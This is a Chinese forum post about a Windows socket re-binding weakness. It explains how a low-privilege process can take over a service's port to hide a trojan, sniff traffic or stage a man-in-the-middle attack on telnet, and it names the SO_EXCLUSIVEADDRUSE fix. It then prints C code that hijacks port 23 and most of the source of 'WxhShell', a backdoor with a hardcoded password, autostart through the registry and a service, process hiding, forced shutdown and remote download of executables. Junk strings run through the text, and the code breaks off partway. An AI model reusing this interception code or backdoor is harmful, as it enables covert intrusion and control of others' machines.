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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !Cj(A"uqY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ":WYcaSi  
*d*oS7  
  saddr.sin_family = AF_INET; |i)lh_iN  
5 Rz/Ri\c=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <A~GW 'HB  
ZL91m`r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9$tl00  
N2~$r pU3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cIw eBDl  
:zL393(  
  这意味着什么?意味着可以进行如下的攻击: hjY0w  
x72G^`Wv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \ZnN D1A  
OCx5/ 88X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~"mj;5Id  
yuNfhK/#r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0M!0JJy#*  
OAok  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PKtU:Eg  
F/<qE!(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GAU!_M5N  
yKDZ+3xK]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EODB`$+  
8$ DwpJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ce5nG0@#  
oa0X5}D  
  #include ,RK3eQ  
  #include ?vu|o'$T,  
  #include ltEF:{mLe#  
  #include    {'IFWD.5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {% F`%_{"  
  int main() VN|G5*  
  { Pf8u/?/  
  WORD wVersionRequested; fNxw&ke8&  
  DWORD ret; :HZ;Po   
  WSADATA wsaData; _'c+fG \  
  BOOL val; 7zI5PGWw  
  SOCKADDR_IN saddr; V<-htV  
  SOCKADDR_IN scaddr; * -z4<LAa  
  int err; p37|zX  
  SOCKET s; ^gm>!-Gx  
  SOCKET sc; AP@<r  
  int caddsize; 3i(Jon/p  
  HANDLE mt; uu3M{*}  
  DWORD tid;   _<u;4RO(s  
  wVersionRequested = MAKEWORD( 2, 2 ); >-<F)  
  err = WSAStartup( wVersionRequested, &wsaData ); ,Oi^ySn  
  if ( err != 0 ) { $xcv>  
  printf("error!WSAStartup failed!\n"); !QTPWA  
  return -1; " dT>KQ  
  } *aG"+c6|  
  saddr.sin_family = AF_INET; cj^bh  
   &|z|SY]DL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %]GV+!3S  
)OUU]MUH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c!~T2t  
  saddr.sin_port = htons(23); e?vj+ZlS$f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i puo}  
  { IozNjII$:.  
  printf("error!socket failed!\n"); thV Tdz  
  return -1; v$JLDt_  
  } @Z=wE3T@  
  val = TRUE; /hfUPO5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wi BuEaUkW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fM9xy \.  
  { qvN"1=nJ  
  printf("error!setsockopt failed!\n"); paYz[Xq  
  return -1; ^?sSx!:bZ  
  } vrO%XvXW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]Da4.s*mW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +U=KXv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u7u~  
p|s2G~0<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LT& /0  
  { JilKZQmk  
  ret=GetLastError(); R25-/6_V>  
  printf("error!bind failed!\n"); }6@%((9E 2  
  return -1; W+/2c4$F3  
  }  h.D^1  
  listen(s,2); r"[L0Cbb  
  while(1) fU` T\  
  { /'"R Mq  
  caddsize = sizeof(scaddr); 6>lW5U^yA\  
  //接受连接请求 'F<Sf:?.p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %\l0-RA@<  
  if(sc!=INVALID_SOCKET) &&*wmnWCS{  
  { iW-t}}Z>B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y)v%  
  if(mt==NULL) Hq-v@@0 *  
  { i2U/RXu  
  printf("Thread Creat Failed!\n"); E]?2!)mgce  
  break; d~,n_E$q;  
  } yW:AVqE)t  
  } )Kr(Y.w  
  CloseHandle(mt); $WJy?_c  
  } iI}nW  
  closesocket(s); 0O^U{#*$I  
  WSACleanup(); xT/9kM&}L  
  return 0; 0*{@E%9  
  }   .:SfM r;G  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,`+Bs&S 8  
  { $ JuLAqq  
  SOCKET ss = (SOCKET)lpParam; }R\B.2#M_@  
  SOCKET sc; <@%ma2  
  unsigned char buf[4096]; 8m \;P  
  SOCKADDR_IN saddr; #-A5Z;TD.  
  long num; E8 \\X  
  DWORD val; wb@]>MJ}[s  
  DWORD ret; 6XZN>#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .GtINhz*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6eOxF8  
  saddr.sin_family = AF_INET; 7%X+O8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7~L|;^(  
  saddr.sin_port = htons(23); %va[jJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U <|B7t4M  
  { "hfw9Qm  
  printf("error!socket failed!\n"); $*wu~  
  return -1; Km%8Yw0+  
  } sAf9rZt*'  
  val = 100; ]KzJ u`O%G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mru~<:9  
  { EyzY2>"^  
  ret = GetLastError(); }&=uZ:  
  return -1; sM<:C  
  } 5'),)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p+!f(H  
  { +I?Qg  
  ret = GetLastError(); E:%>0FE  
  return -1; t<8z08  
  } *pY/5? g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) La@\q[U{@  
  { eO~eu]r  
  printf("error!socket connect failed!\n"); D_zcOq9  
  closesocket(sc); ;Kt'Sit  
  closesocket(ss); xMLrLXy  
  return -1; bW} b<(y  
  } P: jDB{  
  while(1) &qG? [R{  
  { |YJ$c @  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rUGZjLIGqz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -<H ri5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6Uch 0xha!  
  num = recv(ss,buf,4096,0); JB641nv  
  if(num>0) L)@`58Eil  
  send(sc,buf,num,0); g6HphRJ5s  
  else if(num==0) T,A!5V>cX  
  break; 5R& x{jf$  
  num = recv(sc,buf,4096,0); |)~Ex 9%ev  
  if(num>0) wbn^R'  
  send(ss,buf,num,0); 7cy+Nz  
  else if(num==0) ;B,nzx(L  
  break; 6oPUYn-  
  } ^f!Zr  
  closesocket(ss); 8Ix -i  
  closesocket(sc); $b&BH'*'~  
  return 0 ; ,M| QN*  
  } PEK.Kt\M  
GP0[Y  
<.y;&a o  
========================================================== # w i&n  
.dy#n`eP  
下边附上一个代码,,WXhSHELL (K!M*d+  
v#{G8'+%  
========================================================== )*"T  
+d|:s  
#include "stdafx.h" 8') .o hD  
};4pZceV  
#include <stdio.h> ~5x4?2  
#include <string.h> ~NTDG  
#include <windows.h> JS }_q1H  
#include <winsock2.h> @2)t#~Wc4h  
#include <winsvc.h> i7Y s_8A"9  
#include <urlmon.h> q}wl_ku9+  
[1t\|v  
#pragma comment (lib, "Ws2_32.lib") 7Y$4MMNQ  
#pragma comment (lib, "urlmon.lib") u<BHf@AI  
ay!6 T`U`  
#define MAX_USER   100 // 最大客户端连接数 <L[T'ZE+  
#define BUF_SOCK   200 // sock buffer yBU ZVqqDa  
#define KEY_BUFF   255 // 输入 buffer r@N39O*Wq  
LG"BfYy6  
#define REBOOT     0   // 重启 ,AGM?&A  
#define SHUTDOWN   1   // 关机 hpd(d$j  
Fr938q6^-  
#define DEF_PORT   5000 // 监听端口 Uqb]e?@  
u&hDjE  
#define REG_LEN     16   // 注册表键长度 9Ba%=  
#define SVC_LEN     80   // NT服务名长度 JNU"5sB  
[,.[gWA  
// 从dll定义API a>-}\GXTA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n23%[#,r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &"@HWF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3:l:~Vn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5?#OR!N  
jV(xYA3  
// wxhshell配置信息 1R^XWAb  
struct WSCFG { nsM>%+o  
  int ws_port;         // 监听端口 ze#rYNvo/  
  char ws_passstr[REG_LEN]; // 口令 Ngm O0H  
  int ws_autoins;       // 安装标记, 1=yes 0=no pe`TH::p  
  char ws_regname[REG_LEN]; // 注册表键名 2tg/S=t}  
  char ws_svcname[REG_LEN]; // 服务名 GqmDDL1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N2+mN0k;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D;1 6}D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p 02nd.R6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f }evw K[S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YD0vfwh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yBXkN&1=%;  
=|j*VF2y"  
}; Zi2Eu4p l{  
=H.<"7  
// default Wxhshell configuration I{*.htt{  
struct WSCFG wscfg={DEF_PORT, tkm~KLWV&7  
    "xuhuanlingzhe", +R{A'Yl[(  
    1, yH0yO*R Z  
    "Wxhshell", vu !j{%GO  
    "Wxhshell", 9XJ9~I?  
            "WxhShell Service", .P |+oYT&g  
    "Wrsky Windows CmdShell Service", 7$Z)fkx.  
    "Please Input Your Password: ", T2/v}  
  1, 46Y7HTwE  
  "http://www.wrsky.com/wxhshell.exe", i"2J5LLv  
  "Wxhshell.exe" tW Cv]*  
    }; JN;TGtB^p  
( FjsN5  
// 消息定义模块 14@q$}sf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DRKc&F6Qy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =Ov;'MC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X$j|/))  
char *msg_ws_ext="\n\rExit."; MIk #60Ab  
char *msg_ws_end="\n\rQuit."; eE#81]'6a  
char *msg_ws_boot="\n\rReboot..."; cAsSN.HFS  
char *msg_ws_poff="\n\rShutdown..."; S+Y y  
char *msg_ws_down="\n\rSave to "; &kr_CP:;  
uJ) \P  
char *msg_ws_err="\n\rErr!"; ^>vO5Ho.  
char *msg_ws_ok="\n\rOK!"; h^[pp c{Z  
<.?^LT  
char ExeFile[MAX_PATH]; z Et6  
int nUser = 0; :3E8`q~c1  
HANDLE handles[MAX_USER]; 3Aqe;Wf9%+  
int OsIsNt; >ji}j~cH  
6bA~mC^&  
SERVICE_STATUS       serviceStatus; $z`cMQ r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fed[^wW  
`0n 7Cyed  
// 函数声明 ]6i_d  
int Install(void); Wj  
int Uninstall(void); E:dT_x<Y  
int DownloadFile(char *sURL, SOCKET wsh); #Kb)>gzT  
int Boot(int flag); I2Or& _  
void HideProc(void); 7DHT)9lD/  
int GetOsVer(void); qI4R`P"  
int Wxhshell(SOCKET wsl); }{w_>!ee  
void TalkWithClient(void *cs); +i q+  
int CmdShell(SOCKET sock); $J;=Ux)$  
int StartFromService(void); W:;`  
int StartWxhshell(LPSTR lpCmdLine); 2\iD;Z#gM  
v0H>iKh7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^c[CyZ:a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =w;xaxjL  
Rm[rQ }:  
// 数据结构和表定义 i+T0}M<  
SERVICE_TABLE_ENTRY DispatchTable[] = kHo;9j-U  
{ 4<eJ  
{wscfg.ws_svcname, NTServiceMain}, B 3,ig9  
{NULL, NULL} Fm[?@Z&wP  
}; Vqv2F @.  
DY+8m8!4H  
// 自我安装 e) /u>I  
int Install(void) !z4Hj{A_  
{ a s<q  
  char svExeFile[MAX_PATH]; Lu#@~  
  HKEY key; /K Jx n6  
  strcpy(svExeFile,ExeFile); MRl*r K  
/S=;DxZ,r  
// 如果是win9x系统,修改注册表设为自启动 2}xFv2X  
if(!OsIsNt) { |Z^c #R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )lngef /D_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WSpg(\Cs  
  RegCloseKey(key); (>Q9jNW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Kv}2M')+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?`[ uh%  
  RegCloseKey(key); o`y*yucHI  
  return 0; 7$dc? K  
    } LTls]@N  
  } nF!_q;+Vp  
} WHD/s  
else { :xUl+(+  
iYfLo">  
// 如果是NT以上系统,安装为系统服务 {$QF*j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hz~CW-47  
if (schSCManager!=0) 5+Zx-oWq_  
{ EuimZW\V  
  SC_HANDLE schService = CreateService 1o"oa<*_  
  ( XKPt[$ab  
  schSCManager, 9|kEq>d  
  wscfg.ws_svcname, p6eDd"Y  
  wscfg.ws_svcdisp, c402pj  
  SERVICE_ALL_ACCESS, oe_[h]Hgl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5KPPZmO  
  SERVICE_AUTO_START, ;(iUY/ h[h  
  SERVICE_ERROR_NORMAL, g9r5t';  
  svExeFile, W0?Y%Da(4m  
  NULL, 51(`wo>LS  
  NULL, B6!<@* BI  
  NULL, IkXKt8`YVA  
  NULL, |EEz>ci  
  NULL S bqM=I+  
  ); p~zTRnm  
  if (schService!=0) a518N*]j  
  { o!_; H}pq  
  CloseServiceHandle(schService); Qj~W-^/ -  
  CloseServiceHandle(schSCManager); (9[C0eS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G>{:D'#  
  strcat(svExeFile,wscfg.ws_svcname); p$!+2=)gY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s"Pk-Dv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fOjt` ~ToI  
  RegCloseKey(key); d\<aJOi+-  
  return 0; #/sE{jm  
    } 02 c.;ka3  
  } [Jh))DIx  
  CloseServiceHandle(schSCManager); >fzzrD}]  
} kFZu/HRI  
} AYQh=$)(  
CH_Dat >  
return 1; h*X%:UbW  
} p2f WL  
L!Zxc~  
// 自我卸载 L"vG:Mq@D  
int Uninstall(void) &T/9y W[L  
{ -0J<R;cVs  
  HKEY key; j]F3[gpc  
E?5B>Jer#  
if(!OsIsNt) { ;NVTn<Uj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wT AEJ{p  
  RegDeleteValue(key,wscfg.ws_regname); xp;8p94   
  RegCloseKey(key); w#bbm'j7r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .1q~,}toX  
  RegDeleteValue(key,wscfg.ws_regname); 3/|{>7]1  
  RegCloseKey(key); % |Gzht\  
  return 0; X|lmH{kf  
  } T7Qd I[K%b  
} X%\6V;zR#  
} B46H@]d#7K  
else { uXW. (x7"f  
i$<v*$.o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U,3K6AZA 7  
if (schSCManager!=0) nsw8[pk  
{ i2R]lE8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UU~;B  
  if (schService!=0) K~~*M?.Z  
  { H.G^!0j;  
  if(DeleteService(schService)!=0) { ia.B@u1/  
  CloseServiceHandle(schService); ,7$uh):  
  CloseServiceHandle(schSCManager); Dq1XZ%8  
  return 0; %1d6j<7  
  } hnL gsz  
  CloseServiceHandle(schService); 7}7C0mV3  
  } BCDf9]X  
  CloseServiceHandle(schSCManager); ]qG5 Ne _  
} n~cm?"  
} l8Iy 03H  
7(iRz  
return 1; hQLx"R$  
} E0%Y%PQ**{  
jl%e O.  
// 从指定url下载文件 1UWgOCc  
int DownloadFile(char *sURL, SOCKET wsh) 8}b[Q/h!  
{ ~=]@], {  
  HRESULT hr; k  5kX  
char seps[]= "/"; iYs?B0*JWK  
char *token; :hdh$}y  
char *file; %lW:8 ckL  
char myURL[MAX_PATH]; l{x#*~g a  
char myFILE[MAX_PATH]; BQmafpp`  
.Eyk?"^  
strcpy(myURL,sURL); HSFf&|qqx  
  token=strtok(myURL,seps); gG>^h1_o~  
  while(token!=NULL) wq`Kyhk  
  { s|`)'  
    file=token; h/~BUg'  
  token=strtok(NULL,seps); d'nuk#r  
  } n& &U9sf?  
6? ly. h$  
GetCurrentDirectory(MAX_PATH,myFILE); 0s[3:bZ\Ia  
strcat(myFILE, "\\"); qCT\rZU  
strcat(myFILE, file); _( /lBf{|  
  send(wsh,myFILE,strlen(myFILE),0); gxtbu$  
send(wsh,"...",3,0); tdK^X1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AsF`A"Cdw<  
  if(hr==S_OK) iz5wUyeg  
return 0; W%QtJB1)  
else ~TIZumGB  
return 1; TmH13N]  
_jKVA6_E  
} rZ4<*Zegv  
T1[ZrY'0  
// 系统电源模块 "< R 2oo)^  
int Boot(int flag) |VF"Cjw?  
{ X,CF Y  
  HANDLE hToken; RxG./GY  
  TOKEN_PRIVILEGES tkp; @n'ss!h  
YQsc(6  
  if(OsIsNt) { Y|jesa {x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `;GGuJb \  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dR{ V,H7N  
    tkp.PrivilegeCount = 1; k}qiIMdI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hvZR4|k>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CUcjJ|MZ  
if(flag==REBOOT) { mQuaO# I,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l[{}ZKZ  
  return 0; bncFrzp#o  
} ="E V@H?U  
else { (ZsR=:9(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HKw4}FC*  
  return 0; a$& 6a   
} o:*iT =l  
  } ixpG[8s  
  else { f_Bf}2Eedj  
if(flag==REBOOT) { DMW:%h{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qE=OQs9  
  return 0; Vtk|WV?>P+  
} bUL9*{>G  
else { '" yl>"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =_3qUcOP  
  return 0; >ON.ftZ i  
} &$im^0`r_  
} :N:8O^D^<  
)S?}huX  
return 1; H.K`#W&  
} w+P^c|  
yBKlp08J  
// win9x进程隐藏模块 `vBa.)u  
void HideProc(void) i|'t!3I^m  
{ ^2@~AD`&h  
(Ad! hyE(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o|C{ s   
  if ( hKernel != NULL ) ;wB  3H  
  { T0jJp7O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;Bi{;>3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?Qk#;~\yB  
    FreeLibrary(hKernel); )CQ}LbXZy  
  } A[a+,TN {  
v21?  
return; ~Wv?p4  
} !~v>&bCG>9  
(P8oXb+%  
// 获取操作系统版本 Wno5B/V  
int GetOsVer(void) \ } f*   
{ xc?<:h"  
  OSVERSIONINFO winfo; rfpxE>_|G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E 3.s8}}  
  GetVersionEx(&winfo); 2_v>8B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :"]ei@  
  return 1; $S{j}74[  
  else :LG%8Z{R  
  return 0; A4h/oMis  
} g.s oN qt=  
\$"Xr  
// 客户端句柄模块  CVp<SS(  
int Wxhshell(SOCKET wsl) HbVLL`06*  
{ V;(LeuDH|  
  SOCKET wsh; #C mBgxg+M  
  struct sockaddr_in client; pT tX[CE  
  DWORD myID; O2f2Fb$B7  
fO nvC*  
  while(nUser<MAX_USER) ;wrgpP3  
{ Jmx }r,j  
  int nSize=sizeof(client); 37Y]sJrs$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |e >-v  
  if(wsh==INVALID_SOCKET) return 1; pM3BBF%  
2oLa`33c1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |&7,g  
if(handles[nUser]==0) oJ:J'$W(  
  closesocket(wsh); Ags`%(  
else <& iBR  
  nUser++; (z7#KJ1+Aw  
  } Xg,BK0O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :_*Q IyW  
4fswx@l  
  return 0; Pa<X^&  
} lH.2H  
I "4B1g  
// 关闭 socket Ip0q&i<6  
void CloseIt(SOCKET wsh) .<dmdqk]  
{ 4^&vRD,  
closesocket(wsh); ev $eM  
nUser--; 5>Q)8` @E  
ExitThread(0); ZD(gYNi  
} U,BB C  
`>Cx!sYhV  
// 客户端请求句柄 >^&+,*tsS4  
void TalkWithClient(void *cs) r8rR_ M{P  
{ l.$#IE  
T!bu}KO  
  SOCKET wsh=(SOCKET)cs; se[};t:  
  char pwd[SVC_LEN]; m@ YL Z  
  char cmd[KEY_BUFF]; Ay]5GA!W+  
char chr[1]; "RLb wm~  
int i,j; -w B AFr  
o*_D  
  while (nUser < MAX_USER) { 5mU_S\)4:z  
nKdLhCN'=  
if(wscfg.ws_passstr) { Q1z04m1_y[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yhaYlYv[_3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c+=&5=i[3  
  //ZeroMemory(pwd,KEY_BUFF); WmA578|l!  
      i=0; {Y Ymt!Ic  
  while(i<SVC_LEN) { +zsya4r  
$]FWpr%)  
  // 设置超时 n9fk{"y'G  
  fd_set FdRead; ,"o \_{<z  
  struct timeval TimeOut; H^G*5EQK  
  FD_ZERO(&FdRead); pC6_ jIZ  
  FD_SET(wsh,&FdRead); /V&Y@j  
  TimeOut.tv_sec=8; kN)ev?pQ[  
  TimeOut.tv_usec=0; ~6tY\6$9f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YbKW;L&Ff  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a0R]hENC  
PJ{.jWwD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Gu ;U@  
  pwd=chr[0]; &,zeBFmc  
  if(chr[0]==0xd || chr[0]==0xa) { \!r^6'A   
  pwd=0; c+JlM1p@  
  break; `;;!>rm  
  } U,'n}]=4A3  
  i++; :&m(WZ \  
    } #=rR[:M  
7F.,Xvw&@  
  // 如果是非法用户,关闭 socket art{PV4-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]G:xTv8  
} [C$ 0HW  
\cG'3\GI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s>5 Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >EY0-B  
o&]qjFo\m  
while(1) { k;sUDmrO  
G;e}z&6<k  
  ZeroMemory(cmd,KEY_BUFF); 5j]%@]M$Z  
_bX)fnUu  
      // 自动支持客户端 telnet标准   KjadX&JD  
  j=0; c\Dv3bF  
  while(j<KEY_BUFF) { utr_fFu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U^xFqJY6  
  cmd[j]=chr[0]; L$g;^@j  
  if(chr[0]==0xa || chr[0]==0xd) { {#vo^& B  
  cmd[j]=0; SZ_hGD0  
  break; <\5{R@A*6  
  } b{&@ Lm0Tn  
  j++; ?Rdi"{.wI  
    } +"!IVHY  
=F9-,"EAI  
  // 下载文件 x-1[2K1"[  
  if(strstr(cmd,"http://")) { <x/&Ml+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,f$ RE6  
  if(DownloadFile(cmd,wsh)) @:63OLlrG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |s:!LU&OL\  
  else  Dg@6o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); du !.j  
  } "jSn`  
  else { FB@G.f  
yZ`\.GgC^&  
    switch(cmd[0]) { (~jOtUyT  
  WI%,m~  
  // 帮助 d^7<l_u~ !  
  case '?': { 0^+W"O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [(C lvGx  
    break; KLX>QR@  
  } }5K\ l  
  // 安装 =6Z 1yw7s  
  case 'i': { [lf[J&}X  
    if(Install()) m\(a{x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w"~T5%p  
    else hYLu   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]?^mb n  
    break; ,D8 Tca\v  
    } BEw(SQH  
  // 卸载 ?IK[]=!  
  case 'r': { ||hd(_W8  
    if(Uninstall()) C-8@elZ1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YJ6Xq||_  
    else k@?<Aw8 _X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :0J;^@   
    break; 5lT lZRH1  
    } Af;$}P  
  // 显示 wxhshell 所在路径 x`4">:IA  
  case 'p': { e. [h  
    char svExeFile[MAX_PATH]; "h "vp&A  
    strcpy(svExeFile,"\n\r"); ?n}L+|  
      strcat(svExeFile,ExeFile); c5JxKU_  
        send(wsh,svExeFile,strlen(svExeFile),0); > B==*,|  
    break; dwRJ0D]&  
    } 37VSE@Z+  
  // 重启 .k}h'nE  
  case 'b': { )/UkJ/}j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0VPa=AW  
    if(Boot(REBOOT)) d2pVO]l YZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZPXxrmq%  
    else { s\@!J.Da  
    closesocket(wsh); hUqIjcuL4  
    ExitThread(0); 5( 3tPbm{  
    } ]\{EUx9  
    break; vV%w#ULxE~  
    } L~\Ir  
  // 关机 j sm{|'  
  case 'd': { =oBV.BST u  
